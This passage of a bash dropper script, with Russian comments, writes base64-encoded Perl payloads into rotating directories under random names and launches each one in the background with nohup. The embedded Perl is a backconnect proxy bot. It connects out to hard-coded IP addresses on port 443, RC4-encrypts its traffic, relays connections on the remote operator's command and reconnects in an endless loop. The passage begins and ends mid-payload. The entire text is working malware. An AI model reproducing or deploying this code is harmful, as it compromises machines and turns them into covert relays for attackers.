c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #13 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #13 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 14 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #14 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #14 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 15 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzInOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj 